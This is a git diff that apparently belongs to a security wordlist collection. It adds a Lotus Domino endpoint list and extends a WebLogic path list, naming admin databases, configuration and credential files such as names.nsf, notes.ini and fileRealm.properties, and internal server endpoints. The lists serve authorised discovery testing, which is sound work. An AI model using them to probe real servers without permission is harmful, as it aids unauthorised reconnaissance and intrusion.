|
||||||
|
servlet/statisticsservlet/
|
||||||
|
servlet/stcal/
|
||||||
|
servlet/ststartup/
|
||||||
|
servlet/telephony/
|
||||||
|
servlet/telephonyservlet/
|
||||||
|
servlet/userinfoservlet/
|
||||||
|
stadmin/
|
||||||
|
winnt/
|
||||||
328
Discovery/Web-Content/domino-endpoints-coldfusion39.txt
Normal file
328
Discovery/Web-Content/domino-endpoints-coldfusion39.txt
Normal file
@ -0,0 +1,328 @@
|
|||||||
|
__852562F3007ABFD6
|
||||||
|
__852562F3007ABFD6.nsf
|
||||||
|
852566C90012664F
|
||||||
|
aadmin.nsf
|
||||||
|
account.nsf
|
||||||
|
accounts.nsf
|
||||||
|
acls.exe
|
||||||
|
activity.nsf
|
||||||
|
admin4.nsf
|
||||||
|
admin5.nsf
|
||||||
|
adminadm0disk.nsf
|
||||||
|
adminadm0plog.nsf
|
||||||
|
adminisist.nsf
|
||||||
|
administrator.nsf
|
||||||
|
admin.nsf
|
||||||
|
a_domlog.nsf
|
||||||
|
agentrunner.nsf
|
||||||
|
alerts.exe
|
||||||
|
alog4.nsf
|
||||||
|
alog.nsf
|
||||||
|
anotes.nsf
|
||||||
|
api
|
||||||
|
billing.nsf
|
||||||
|
bookmark.nsf
|
||||||
|
bookmarks.nsf
|
||||||
|
books.nsf
|
||||||
|
buildinfo.txt
|
||||||
|
busytime.nsf
|
||||||
|
cad.nsf
|
||||||
|
calendar.nsf
|
||||||
|
catalog.nsf
|
||||||
|
cersvr.nsf
|
||||||
|
certa.nsf
|
||||||
|
certlog.nsf
|
||||||
|
certsrv.nsf
|
||||||
|
chatlog.nsf
|
||||||
|
citipaypro.nsf
|
||||||
|
clbusy.nsf
|
||||||
|
cldbdir.nsf
|
||||||
|
clubusy.nsf
|
||||||
|
clusta4.nsf
|
||||||
|
collect4.nsf
|
||||||
|
console.exe
|
||||||
|
contents.nsf
|
||||||
|
cpa.nsf
|
||||||
|
cppfbws.nsf
|
||||||
|
customerdata
|
||||||
|
customerdata.nsf
|
||||||
|
da.nsf
|
||||||
|
database.nsf
|
||||||
|
dba4.nsf
|
||||||
|
dbdirman.nsf
|
||||||
|
dblist
|
||||||
|
db.nsf
|
||||||
|
dclf.nsf
|
||||||
|
ddm.nsf
|
||||||
|
deasappdesign.nsf
|
||||||
|
deaslog01.nsf
|
||||||
|
deaslog02.nsf
|
||||||
|
deaslog03.nsf
|
||||||
|
deaslog04.nsf
|
||||||
|
deaslog05.nsf
|
||||||
|
deaslog.nsf
|
||||||
|
decsadm.nsf
|
||||||
|
decsdoc6.nsf
|
||||||
|
decsdoc.nsf
|
||||||
|
decslog.nsf
|
||||||
|
deesadmin.nsf
|
||||||
|
default.htm
|
||||||
|
$defaultnav
|
||||||
|
default.nsf
|
||||||
|
deslog.nsf
|
||||||
|
dfc100.nsf
|
||||||
|
dic.nsf
|
||||||
|
diiop_ior.txt
|
||||||
|
dirassist.nsf
|
||||||
|
dircat.nsf
|
||||||
|
docdomguide.nsf
|
||||||
|
doladmin.nsf
|
||||||
|
dols_help.nsf
|
||||||
|
domadmin.nsf
|
||||||
|
domcfg.nsf
|
||||||
|
domchange.nsf
|
||||||
|
domguide.nsf
|
||||||
|
domino.nsf
|
||||||
|
domlog.nsf
|
||||||
|
dpicfg.nsf
|
||||||
|
dspug.nsf
|
||||||
|
dspv.ntf
|
||||||
|
event.nsf
|
||||||
|
events4.nsf
|
||||||
|
events5.nsf
|
||||||
|
events.nsf
|
||||||
|
faqw46
|
||||||
|
faqw46.nsf
|
||||||
|
forms5.nsf
|
||||||
|
forms6.nsf
|
||||||
|
forms7.nsf
|
||||||
|
forms8.nsf
|
||||||
|
forms9.nsf
|
||||||
|
framew46
|
||||||
|
framew46.nsf
|
||||||
|
group.nsf
|
||||||
|
groups.nsf
|
||||||
|
help4.nsf
|
||||||
|
help5_admin.nsf
|
||||||
|
help5_client.nsf
|
||||||
|
help5_designer.nsf
|
||||||
|
help65_admin.nsf
|
||||||
|
help65_client.nsf
|
||||||
|
help65_designer.nsf
|
||||||
|
help65_iwa_en.nsf
|
||||||
|
help6_admin.nsf
|
||||||
|
help6_client.nsf
|
||||||
|
help6_designer.nsf
|
||||||
|
help70_iwa_en.nsf
|
||||||
|
help7_admin.nsf
|
||||||
|
help7_client.nsf
|
||||||
|
help7_designer.nsf
|
||||||
|
help80_iwa_en.nsf
|
||||||
|
help8_admin.nsf
|
||||||
|
help8_client.nsf
|
||||||
|
help8_designer.nsf
|
||||||
|
help9_admin.nsf
|
||||||
|
help9_client.nsf
|
||||||
|
help9_designer.nsf
|
||||||
|
helpadmin.nsf
|
||||||
|
helpadmn.nsf
|
||||||
|
helpdomguide.nsf
|
||||||
|
helpdspug.nsf
|
||||||
|
helphelp4.nsf
|
||||||
|
helphelpadmin.nsf
|
||||||
|
helphelplt4.nsf
|
||||||
|
helpinternet.nsf
|
||||||
|
helpjavapg.nsf
|
||||||
|
helplccon.nsf
|
||||||
|
helplt4.nsf
|
||||||
|
helpmigrate.nsf
|
||||||
|
helpnpn_admn.nsf
|
||||||
|
helpnpn_rn.nsf
|
||||||
|
helpreadmec.nsf
|
||||||
|
helpreadmes.nsf
|
||||||
|
helpsmhelp.nsf
|
||||||
|
helpsrvinst.nsf
|
||||||
|
hidden.nsf
|
||||||
|
home.nsf
|
||||||
|
homepage.nsf
|
||||||
|
hostaddress.xml
|
||||||
|
inotesforms5.nsf
|
||||||
|
installa.nsf
|
||||||
|
internet.nsf
|
||||||
|
ispy50.nsf
|
||||||
|
javapg.nsf
|
||||||
|
jotter.nsf
|
||||||
|
kbccv11.nsf
|
||||||
|
kbnv11.nsf
|
||||||
|
kbssv11.nsf
|
||||||
|
kbssvv11.nsf
|
||||||
|
lccon6.nsf
|
||||||
|
lccon.nsf
|
||||||
|
lcon.nsf
|
||||||
|
ldap.nsf
|
||||||
|
l_domlog.nsf
|
||||||
|
leiadm.nsf
|
||||||
|
leilog.nsf
|
||||||
|
leivlt.nsf
|
||||||
|
listdb.exe
|
||||||
|
l_lotus_script.inf
|
||||||
|
lndfr.nsf
|
||||||
|
lndsutr.nsf
|
||||||
|
log4a.nsf
|
||||||
|
loga4.nsf
|
||||||
|
loggingerror.jsp
|
||||||
|
loggingmeetingdetails.jsp
|
||||||
|
loggingviewselection.jsp
|
||||||
|
loggingviewtable.jsp
|
||||||
|
log.nsf
|
||||||
|
lotustraveler.nsf
|
||||||
|
l_search.inf
|
||||||
|
lsxlc6.nsf
|
||||||
|
lsxlc.nsf
|
||||||
|
mab45.ntf
|
||||||
|
mab.nsf
|
||||||
|
mail10.box
|
||||||
|
mail1.box
|
||||||
|
mail2.box
|
||||||
|
mail3.box
|
||||||
|
mail4.box
|
||||||
|
mail5.box
|
||||||
|
mail6.box
|
||||||
|
mail7.box
|
||||||
|
mail8.box
|
||||||
|
mail9.box
|
||||||
|
mailadmin.nsf
|
||||||
|
mail.box
|
||||||
|
mailbox.nsf
|
||||||
|
mailw46.nsf
|
||||||
|
main.nsf
|
||||||
|
migrate.nsf
|
||||||
|
monitoringviewgeneralserverstatus.jsp
|
||||||
|
monitoringviewmeetingsandparticipants.jsp
|
||||||
|
monitoringviewoverview.jsp
|
||||||
|
monitoringviewselection.jsp
|
||||||
|
monitoringviewtoolsinmeetings.jsp
|
||||||
|
monitoringviewtotallogins.jsp
|
||||||
|
msdwda.nsf
|
||||||
|
mtabtbls.nsf
|
||||||
|
mtatbls.nsf
|
||||||
|
mtstore.nsf
|
||||||
|
namagent.nsf
|
||||||
|
names.nsf
|
||||||
|
nd000000.nsf
|
||||||
|
nd000001.nsf
|
||||||
|
nd000002.nsf
|
||||||
|
nd000003.nsf
|
||||||
|
nd000004.nsf
|
||||||
|
n_lotus_script.inf
|
||||||
|
nntppost.nsf
|
||||||
|
nombre_usuario.nsf
|
||||||
|
notes.ini
|
||||||
|
notes.nsf
|
||||||
|
npn_admn.nsf
|
||||||
|
npn_rn.nsf
|
||||||
|
n_search.inf
|
||||||
|
ntsync45.nsf
|
||||||
|
ntsync4.nsf
|
||||||
|
pagesw46
|
||||||
|
pagesw46.nsf
|
||||||
|
patrol41.nsf
|
||||||
|
perweb.nsf
|
||||||
|
private.nsf
|
||||||
|
products.nsf
|
||||||
|
public.nsf
|
||||||
|
puserinfo.nsf
|
||||||
|
pwdresetsample.nsf
|
||||||
|
pxp.nsf
|
||||||
|
qpadmin.nsf
|
||||||
|
qstart50.nsf
|
||||||
|
qstart.nsf
|
||||||
|
readmec.nsf
|
||||||
|
readme.nsf
|
||||||
|
readmes.nsf
|
||||||
|
reginfo.nsf
|
||||||
|
reports.nsf
|
||||||
|
resource.nsf
|
||||||
|
resrc7.nsf
|
||||||
|
saws2.nsf
|
||||||
|
saws.nsf
|
||||||
|
schedulertr.nsf
|
||||||
|
schema50.nsf
|
||||||
|
schema.nsf
|
||||||
|
secret.nsf
|
||||||
|
secure.nsf
|
||||||
|
setup.nsf
|
||||||
|
setupweb.nsf
|
||||||
|
siregw46
|
||||||
|
siregw46.nsf
|
||||||
|
site1w4646
|
||||||
|
site1w46.nsf
|
||||||
|
site2w4646
|
||||||
|
site2w46.nsf
|
||||||
|
site3w4646
|
||||||
|
site3w46.nsf
|
||||||
|
smbcfg.nsf
|
||||||
|
smconf.nsf
|
||||||
|
smency.nsf
|
||||||
|
smhelp.nsf
|
||||||
|
smmsg.nsf
|
||||||
|
smquar.nsf
|
||||||
|
smsolar.nsf
|
||||||
|
smtime.nsf
|
||||||
|
smtp.box
|
||||||
|
smtpibwq.nsf
|
||||||
|
smtp.nsf
|
||||||
|
smtpobwq.nsf
|
||||||
|
smtptbls.nsf
|
||||||
|
smvlog.nsf
|
||||||
|
software.nsf
|
||||||
|
srvinst.nsf
|
||||||
|
srvnam.htm
|
||||||
|
srvnam.nsf
|
||||||
|
stadmin
|
||||||
|
stadminact.exe
|
||||||
|
stadmin.nsf
|
||||||
|
statauths.nsf
|
||||||
|
statautht.nsf
|
||||||
|
statmail.nsf
|
||||||
|
statrep.nsf
|
||||||
|
stats217.nsf
|
||||||
|
stats521.nsf
|
||||||
|
stats572.nsf
|
||||||
|
stats675.nsf
|
||||||
|
stats988.nsf
|
||||||
|
stauths.nsf
|
||||||
|
stautht.nsf
|
||||||
|
stcenter.nsf
|
||||||
|
stconfig.nsf
|
||||||
|
stconf.nsf
|
||||||
|
stcs.nsf
|
||||||
|
stdnaset.nsf
|
||||||
|
stdomino.nsf
|
||||||
|
sthelpad.nsf
|
||||||
|
stinstall.nsf
|
||||||
|
stlog.nsf
|
||||||
|
stnamechange.nsf
|
||||||
|
stnames.nsf
|
||||||
|
stpolicy.nsf
|
||||||
|
streg.nsf
|
||||||
|
strn20.nsf
|
||||||
|
stsrc.nsf
|
||||||
|
svrinst.nsf
|
||||||
|
system.nsf
|
||||||
|
test.nsf
|
||||||
|
today.nsf
|
||||||
|
user.nsf
|
||||||
|
userreg.nsf
|
||||||
|
users.nsf
|
||||||
|
vpuserinfo.nsf
|
||||||
|
webadmin.nsf
|
||||||
|
web.nsf
|
||||||
|
webstart.nsf
|
||||||
|
webstats.exe
|
||||||
|
webuser.nsf
|
||||||
|
welcome.nsf
|
||||||
|
win.ini
|
||||||
|
wksinst.nsf
|
||||||
|
wwsample.nsf
|
||||||
|
zmevladm.nsf
|
||||||
@ -109,6 +109,7 @@ iNotes/Forms5.nsf/$DefaultNav
|
|||||||
iNotes/Forms6.nsf
|
iNotes/Forms6.nsf
|
||||||
iNotes/Forms7.nsf
|
iNotes/Forms7.nsf
|
||||||
iNotes/Forms8.nsf
|
iNotes/Forms8.nsf
|
||||||
|
iNotes/Forms9.nsf
|
||||||
iNotes/help65_iwa_en.nsf
|
iNotes/help65_iwa_en.nsf
|
||||||
iNotes/help70_iwa_en.nsf
|
iNotes/help70_iwa_en.nsf
|
||||||
iNotes/help80_iwa_en.nsf
|
iNotes/help80_iwa_en.nsf
|
||||||
@ -289,3 +290,12 @@ vpuserinfo.nsf
|
|||||||
web.nsf
|
web.nsf
|
||||||
webadmin.nsf
|
webadmin.nsf
|
||||||
welcome.nsf
|
welcome.nsf
|
||||||
|
help/readme.nsf?OpenAbout
|
||||||
|
download/filesets/l_LOTUS_SCRIPT.inf
|
||||||
|
download/filesets/n_LOTUS_SCRIPT.inf
|
||||||
|
download/filesets/l_SEARCH.inf
|
||||||
|
download/filesets/n_SEARCH.inf
|
||||||
|
Help/help9_admin.nsf
|
||||||
|
Help/help9_client.nsf
|
||||||
|
Help/help9_designer.nsf
|
||||||
|
api
|
||||||
|
|||||||
@ -1,361 +1,360 @@
|
|||||||
*
|
/*
|
||||||
*.gif
|
/*.gif
|
||||||
*.gif/
|
/*.gif/
|
||||||
*.html
|
/*.html
|
||||||
*.jsp
|
/*.jsp
|
||||||
*.jsp/
|
/*.jsp/
|
||||||
*.jws
|
/*.jws
|
||||||
*.portal
|
/*.portal
|
||||||
*.portion
|
/*.portion
|
||||||
*.portlet
|
/*.portlet
|
||||||
*.shtml/
|
/*.shtml/
|
||||||
Admin
|
/Admin
|
||||||
AdminCaptureRootCA
|
/AdminCaptureRootCA
|
||||||
AdminClients
|
/AdminClients
|
||||||
AdminConnections
|
/AdminConnections
|
||||||
AdminEvents
|
/AdminEvents
|
||||||
AdminJDBC
|
/AdminJDBC
|
||||||
AdminLicense
|
/AdminLicense
|
||||||
AdminMain
|
/AdminMain
|
||||||
AdminProps
|
/AdminProps
|
||||||
AdminRealm
|
/AdminRealm
|
||||||
AdminThreads
|
/AdminThreads
|
||||||
AdminVersion
|
/AdminVersion
|
||||||
BizTalkServer
|
/BizTalkServer
|
||||||
Bootstrap
|
/Bootstrap
|
||||||
Certificate
|
/Certificate
|
||||||
Classpath/
|
/Classpath/
|
||||||
ConsoleHelp
|
/ConsoleHelp
|
||||||
ConsoleHelp/
|
/ConsoleHelp/
|
||||||
DefaultWebApp
|
/DefaultWebApp
|
||||||
DeploymentService
|
/DeploymentService
|
||||||
FileServlet
|
/FileServlet
|
||||||
HTTPClntClose
|
/HTTPClntClose
|
||||||
HTTPClntClose/*
|
/HTTPClntClose/*
|
||||||
HTTPClntLogin
|
/HTTPClntLogin
|
||||||
HTTPClntLogin/*
|
/HTTPClntLogin/*
|
||||||
HTTPClntRecv
|
/HTTPClntRecv
|
||||||
HTTPClntRecv/*
|
/HTTPClntRecv/*
|
||||||
HTTPClntSend
|
/HTTPClntSend
|
||||||
HTTPClntSend/*
|
/HTTPClntSend/*
|
||||||
JspServlet
|
/JspServlet
|
||||||
LogfileSearch
|
/LogfileSearch
|
||||||
LogfileTail
|
/LogfileTail
|
||||||
Login.jsp
|
/Login.jsp
|
||||||
MANIFEST.MF
|
/MANIFEST.MF
|
||||||
META-INF
|
/META-INF
|
||||||
Samples
|
/Samples
|
||||||
SamplesSearchWebApp
|
/SamplesSearchWebApp
|
||||||
Shutdown
|
/Shutdown
|
||||||
Shutdown/*
|
/Shutdown/*
|
||||||
SimpappServlet
|
/SimpappServlet
|
||||||
SimpleClientJws
|
/SimpleClientJws
|
||||||
SimpleClientProviderImpl
|
/SimpleClientProviderImpl
|
||||||
StockServlet
|
/StockServlet
|
||||||
T3AdminMain
|
/T3AdminMain
|
||||||
UniversityServlet
|
/UniversityServlet
|
||||||
WEB-INF
|
/WEB-INF
|
||||||
WEB-INF./web.xml
|
/WEB-INF./web.xml
|
||||||
WEB-INF/web.xml
|
/WEB-INF/web.xml
|
||||||
WLDummyInitJVMIDs
|
/WLDummyInitJVMIDs
|
||||||
WebServiceServlet
|
/WebServiceServlet
|
||||||
_async
|
/_async
|
||||||
_async/*
|
/_async/*
|
||||||
_async/AsyncResponseService
|
/_async/AsyncResponseService
|
||||||
_async/AsyncResponseServiceHttps
|
/_async/AsyncResponseServiceHttps
|
||||||
_async/AsyncResponseServiceJms
|
/_async/AsyncResponseServiceJms
|
||||||
_async/AsyncResponseServiceSoap12
|
/_async/AsyncResponseServiceSoap12
|
||||||
_async/AsyncResponseServiceSoap12Https
|
/_async/AsyncResponseServiceSoap12Https
|
||||||
_async/AsyncResponseServiceSoap12Jms
|
/_async/AsyncResponseServiceSoap12Jms
|
||||||
_tmp_war
|
/_tmp_war
|
||||||
_tmp_war_DefaultWebApp
|
/_tmp_war_DefaultWebApp
|
||||||
a2e2gp2r2/*
|
/a2e2gp2r2/*
|
||||||
a2e2gp2r2/x.jsp
|
/a2e2gp2r2/x.jsp
|
||||||
accessor
|
/accessor
|
||||||
actions
|
/actions
|
||||||
admin/login.do
|
/admin/login.do
|
||||||
applet
|
/applet
|
||||||
applications
|
/applications
|
||||||
appmanager/*
|
/appmanager/*
|
||||||
asyncServlet
|
/asyncServlet
|
||||||
asyncServlet/main.jsp
|
/asyncServlet/main.jsp
|
||||||
asyncServlet/receive
|
/asyncServlet/receive
|
||||||
asyncServlet/send
|
/asyncServlet/send
|
||||||
authenticatedy
|
/authenticatedy
|
||||||
bea-guardian-agent
|
/bea-guardian-agent
|
||||||
bea-guardian-agent/
|
/bea-guardian-agent/
|
||||||
bea-guardian-agent/DeployServlet
|
/bea-guardian-agent/DeployServlet
|
||||||
bea-guardian-agent/test.jsp
|
/bea-guardian-agent/test.jsp
|
||||||
bea-guardian-agent/version
|
/bea-guardian-agent/version
|
||||||
bea_wls9_async_response
|
/bea_wls9_async_response
|
||||||
bea_wls_async_response
|
/bea_wls_async_response
|
||||||
bea_wls_cluster_internal
|
/bea_wls_cluster_internal
|
||||||
bea_wls_cluster_internal/0056FABC093BDF49C8AE091F74400598
|
/bea_wls_cluster_internal/0056FABC093BDF49C8AE091F74400598
|
||||||
bea_wls_cluster_internal/a2e2gp2r2/*
|
/bea_wls_cluster_internal/a2e2gp2r2/*
|
||||||
bea_wls_cluster_internal/psquare/*
|
/bea_wls_cluster_internal/psquare/*
|
||||||
bea_wls_deployment_internal
|
/bea_wls_deployment_internal
|
||||||
bea_wls_deployment_internal/*
|
/bea_wls_deployment_internal/*
|
||||||
bea_wls_deployment_internal/DeploymentService
|
/bea_wls_deployment_internal/DeploymentService
|
||||||
bea_wls_diagnostics
|
/bea_wls_diagnostics
|
||||||
bea_wls_diagnostics/*
|
/bea_wls_diagnostics/*
|
||||||
bea_wls_diagnostics/accessor
|
/bea_wls_diagnostics/accessor
|
||||||
bea_wls_internal
|
/bea_wls_internal
|
||||||
bea_wls_internal/
|
/bea_wls_internal/
|
||||||
bea_wls_internal/*
|
/bea_wls_internal/*
|
||||||
bea_wls_internal/HTTPClntClose
|
/bea_wls_internal/HTTPClntClose
|
||||||
bea_wls_internal/HTTPClntClose/*
|
/bea_wls_internal/HTTPClntClose/*
|
||||||
bea_wls_internal/HTTPClntLogin
|
/bea_wls_internal/HTTPClntLogin
|
||||||
bea_wls_internal/HTTPClntLogin/*
|
/bea_wls_internal/HTTPClntLogin/*
|
||||||
bea_wls_internal/HTTPClntRecv
|
/bea_wls_internal/HTTPClntRecv
|
||||||
bea_wls_internal/HTTPClntRecv/*
|
/bea_wls_internal/HTTPClntRecv/*
|
||||||
bea_wls_internal/HTTPClntSend
|
/bea_wls_internal/HTTPClntSend
|
||||||
bea_wls_internal/HTTPClntSend/*
|
/bea_wls_internal/HTTPClntSend/*
|
||||||
bea_wls_internal/WLDummyInitJVMIDs
|
/bea_wls_internal/WLDummyInitJVMIDs
|
||||||
bea_wls_internal/WebServiceServlet
|
/bea_wls_internal/WebServiceServlet
|
||||||
bea_wls_internal/a2e2gp2r2/x.jsp
|
/bea_wls_internal/a2e2gp2r2/x.jsp
|
||||||
bea_wls_internal/classes/
|
/bea_wls_internal/classes/
|
||||||
bea_wls_internal/classes/
|
/bea_wls_internal/classes/*
|
||||||
bea_wls_internal/classes/*
|
/bea_wls_internal/classes/META-INF/MANIFEST.MF
|
||||||
bea_wls_internal/classes/META-INF/MANIFEST.MF
|
/bea_wls_internal/com/*
|
||||||
bea_wls_internal/com/*
|
/bea_wls_internal/getior
|
||||||
bea_wls_internal/getior
|
/bea_wls_internal/getior/*
|
||||||
bea_wls_internal/getior/*
|
/bea_wls_internal/iiop/ClientClose
|
||||||
bea_wls_internal/iiop/ClientClose
|
/bea_wls_internal/iiop/ClientClose/*
|
||||||
bea_wls_internal/iiop/ClientClose/*
|
/bea_wls_internal/iiop/ClientLogin
|
||||||
bea_wls_internal/iiop/ClientLogin
|
/bea_wls_internal/iiop/ClientLogin/*
|
||||||
bea_wls_internal/iiop/ClientLogin/*
|
/bea_wls_internal/iiop/ClientRecv
|
||||||
bea_wls_internal/iiop/ClientRecv
|
/bea_wls_internal/iiop/ClientRecv/*
|
||||||
bea_wls_internal/iiop/ClientRecv/*
|
/bea_wls_internal/iiop/ClientSend
|
||||||
bea_wls_internal/iiop/ClientSend
|
/bea_wls_internal/iiop/ClientSend/*
|
||||||
bea_wls_internal/iiop/ClientSend/*
|
/bea_wls_internal/psquare/x.jsp
|
||||||
bea_wls_internal/psquare/x.jsp
|
/bea_wls_management_internal2
|
||||||
bea_wls_management_internal2
|
/bea_wls_management_internal2/Bootstrap
|
||||||
bea_wls_management_internal2/Bootstrap
|
/bea_wls_management_internal2/wl_management
|
||||||
bea_wls_management_internal2/wl_management
|
/bea_wls_remote_deployer
|
||||||
bea_wls_remote_deployer
|
/beanManaged
|
||||||
beanManaged
|
/certificate
|
||||||
certificate
|
/classes
|
||||||
classes
|
/classes/
|
||||||
classes/
|
/classes/*
|
||||||
classes/*
|
/classes/META-INF/MANIFEST.MF
|
||||||
classes/META-INF/MANIFEST.MF
|
/com
|
||||||
com
|
/com.acumenat.uddi.server.http.UDDIListenerServlet
|
||||||
com.acumenat.uddi.server.http.UDDIListenerServlet
|
/com.bea.guardian.agent.VersionServlet
|
||||||
com.bea.guardian.agent.VersionServlet
|
/com.bea.guardian.agent.weblogic.DeployServlet
|
||||||
com.bea.guardian.agent.weblogic.DeployServlet
|
/com.bea.guardian.agent.weblogic.DispatchServlet
|
||||||
com.bea.guardian.agent.weblogic.DispatchServlet
|
/com/*
|
||||||
com/*
|
/cometd/*
|
||||||
cometd/*
|
/common
|
||||||
common
|
/config
|
||||||
config
|
/console
|
||||||
console
|
/console-help
|
||||||
console-help
|
/console-help/doc/*
|
||||||
console-help/doc/*
|
/console-help/doc/en-us/com/bea/wlserver/core/index.html
|
||||||
console-help/doc/en-us/com/bea/wlserver/core/index.html
|
/console-help/help/*
|
||||||
console-help/help/*
|
/console-help/online_search/*
|
||||||
console-help/online_search/*
|
/console/login/LoginForm.jsp
|
||||||
console/login/LoginForm.jsp
|
/consoleapp
|
||||||
consoleapp
|
/consolehelp
|
||||||
consolehelp
|
/consolehelp/console-help.portal
|
||||||
consolehelp/console-help.portal
|
/consolehelp/index.jsp
|
||||||
consolehelp/index.jsp
|
/cookies
|
||||||
cookies
|
/default
|
||||||
default
|
/docs
|
||||||
docs
|
/docs/SamplesSearchServlet/*
|
||||||
docs/SamplesSearchServlet/*
|
/docs/core/index.html
|
||||||
docs/core/index.html
|
/docs/index.html
|
||||||
docs/index.html
|
/docs51
|
||||||
docs51
|
/domain
|
||||||
domain
|
/drp-exports
|
||||||
drp-exports
|
/drp-publish
|
||||||
drp-publish
|
/dummy
|
||||||
dummy
|
/e2ePortalProject/Login.portal
|
||||||
e2ePortalProject/Login.portal
|
/ejb
|
||||||
ejb
|
/ejb20BeanMged
|
||||||
ejb20BeanMged
|
/ejb20BeanMgedEar
|
||||||
ejb20BeanMgedEar
|
/ejb20_beanManaged
|
||||||
ejb20_beanManaged
|
/ejb30
|
||||||
ejb30
|
/ejbSimpappServlet
|
||||||
ejbSimpappServlet
|
/error
|
||||||
error
|
/examplesWebApp
|
||||||
examplesWebApp
|
/examplesWebApp/*
|
||||||
examplesWebApp/*
|
/examplesWebApp/ConnectorServlet
|
||||||
examplesWebApp/ConnectorServlet
|
/examplesWebApp/EJBeanManagedClient.jsp
|
||||||
examplesWebApp/EJBeanManagedClient.jsp
|
/examplesWebApp/InteractiveQuery.jsp
|
||||||
examplesWebApp/InteractiveQuery.jsp
|
/examplesWebApp/OrderParser.jsp?xmlfile=C:/bea/weblogic81/samples/server/examples/src/examples/xml/orderParser/order.xml
|
||||||
examplesWebApp/OrderParser.jsp?xmlfile=C:/bea/weblogic81/samples/server/examples/src/examples/xml/orderParser/order.xml
|
/examplesWebApp/SSLClientServlet
|
||||||
examplesWebApp/SSLClientServlet
|
/examplesWebApp/SenderServlet
|
||||||
examplesWebApp/SenderServlet
|
/examplesWebApp/SessionServlet
|
||||||
examplesWebApp/SessionServlet
|
/examplesWebApp/Shutdown -> 401
|
||||||
examplesWebApp/Shutdown -> 401
|
/examplesWebApp/SimpleSqlServlet
|
||||||
examplesWebApp/SimpleSqlServlet
|
/examplesWebApp/WebservicesEJB.jsp
|
||||||
examplesWebApp/WebservicesEJB.jsp
|
/examplesWebApp/Wsdl2Service.jsp
|
||||||
examplesWebApp/Wsdl2Service.jsp
|
/examplesWebApp/docs -> /docs
|
||||||
examplesWebApp/docs -> /docs
|
/examplesWebApp/docs/
|
||||||
examplesWebApp/docs/
|
/examplesWebApp/domains
|
||||||
examplesWebApp/domains
|
/examplesWebApp/examples
|
||||||
examplesWebApp/examples
|
/examplesWebApp/examples/src/examples/copyright.html
|
||||||
examplesWebApp/examples/src/examples/copyright.html
|
/examplesWebApp/images
|
||||||
examplesWebApp/images
|
/examplesWebApp/index.jsp
|
||||||
examplesWebApp/index.jsp
|
/examplesWebApp/medrec
|
||||||
examplesWebApp/medrec
|
/examplesWebApp/server
|
||||||
examplesWebApp/server
|
/ext_servlet_annotations
|
||||||
ext_servlet_annotations
|
/ext_servlet_annotations/loginForm.jsp
|
||||||
ext_servlet_annotations/loginForm.jsp
|
/ext_servlet_annotations/session
|
||||||
ext_servlet_annotations/session
|
/fast_track.html
|
||||||
fast_track.html
|
/fault
|
||||||
fault
|
/file
|
||||||
file
|
/file/
|
||||||
file/
|
/fileRealm
|
||||||
fileRealm
|
/fileRealm.properties
|
||||||
fileRealm.properties
|
/framework/skeletons/console/*
|
||||||
framework/skeletons/console/*
|
/framework/skeletons/console/css/*
|
||||||
framework/skeletons/console/css/*
|
/framework/skeletons/console/js/*
|
||||||
framework/skeletons/console/js/*
|
/getior
|
||||||
getior
|
/getior/*
|
||||||
getior/*
|
/graphics
|
||||||
graphics
|
/helloKona
|
||||||
helloKona
|
/helloWebApp
|
||||||
helloWebApp
|
/helloWebApp/hello.html
|
||||||
helloWebApp/hello.html
|
/helloWebApp/hello.jsp
|
||||||
helloWebApp/hello.jsp
|
/helloWorld
|
||||||
helloWorld
|
/iiop/ClientClose
|
||||||
iiop/ClientClose
|
/iiop/ClientClose/*
|
||||||
iiop/ClientClose/*
|
/iiop/ClientLogin
|
||||||
iiop/ClientLogin
|
/iiop/ClientLogin/*
|
||||||
iiop/ClientLogin/*
|
/iiop/ClientRecv
|
||||||
iiop/ClientRecv
|
/iiop/ClientRecv/*
|
||||||
iiop/ClientRecv/*
|
/iiop/ClientSend
|
||||||
iiop/ClientSend
|
/iiop/ClientSend/*
|
||||||
iiop/ClientSend/*
|
/images
|
||||||
images
|
/images/*
|
||||||
images/*
|
/index
|
||||||
index
|
/index.jsp
|
||||||
index.jsp
|
/internal
|
||||||
internal
|
/jdbcRowSets
|
||||||
jdbcRowSets
|
/jdbcRowSetsEar
|
||||||
jdbcRowSetsEar
|
/jdbc_rowsets
|
||||||
jdbc_rowsets
|
/jmssender
|
||||||
jmssender
|
/jmstrader
|
||||||
jmstrader
|
/jsp/*
|
||||||
jsp/*
|
/jspSimpleTag
|
||||||
jspSimpleTag
|
/jspSimpleTagEar
|
||||||
jspSimpleTagEar
|
/jspbuild
|
||||||
jspbuild
|
/jws_basic_simple
|
||||||
jws_basic_simple
|
/jws_basic_simple/SimpleService
|
||||||
jws_basic_simple/SimpleService
|
/jwsdir
|
||||||
jwsdir
|
/login.jsp
|
||||||
login.jsp
|
/mainWebApp
|
||||||
mainWebApp
|
/manifest.mf
|
||||||
manifest.mf
|
/mapping
|
||||||
mapping
|
/mejb
|
||||||
mejb
|
/mydomain
|
||||||
mydomain
|
/myservlet
|
||||||
myservlet
|
/org.apache.beehive.netui.pageflow.PageFlowActionServlet
|
||||||
org.apache.beehive.netui.pageflow.PageFlowActionServlet
|
/org.apache.beehive.netui.pageflow.xmlhttprequest.XmlHttpRequestServlet
|
||||||
org.apache.beehive.netui.pageflow.xmlhttprequest.XmlHttpRequestServlet
|
/page
|
||||||
page
|
/patient/login.do
|
||||||
patient/login.do
|
/patient/register.do
|
||||||
patient/register.do
|
/phone
|
||||||
phone
|
/physican/login.do
|
||||||
physican/login.do
|
/portalAppAdmin/login.jsp
|
||||||
portalAppAdmin/login.jsp
|
/properties
|
||||||
properties
|
/proxy
|
||||||
proxy
|
/psquare/*
|
||||||
psquare/*
|
/psquare/x.jsp
|
||||||
psquare/x.jsp
|
/public_html
|
||||||
public_html
|
/registerServlet
|
||||||
registerServlet
|
/reviewService
|
||||||
reviewService
|
/reviewService/ClientServlet
|
||||||
reviewService/ClientServlet
|
/reviewService/InterceptorClientServlet
|
||||||
reviewService/InterceptorClientServlet
|
/reviewService/createArtist_service.jsp
|
||||||
reviewService/createArtist_service.jsp
|
/reviewService/dwr/*
|
||||||
reviewService/dwr/*
|
/reviewService/index.jsp
|
||||||
reviewService/index.jsp
|
/saml2
|
||||||
saml2
|
/samlacs
|
||||||
samlacs
|
/samlars
|
||||||
samlars
|
/samlits
|
||||||
samlits
|
/samlits_ba
|
||||||
samlits_ba
|
/samlits_cc
|
||||||
samlits_cc
|
/servlet
|
||||||
servlet
|
/servletimages
|
||||||
servletimages
|
/servlets/
|
||||||
servlets/
|
/session
|
||||||
session
|
/simpapp
|
||||||
simpapp
|
/simple
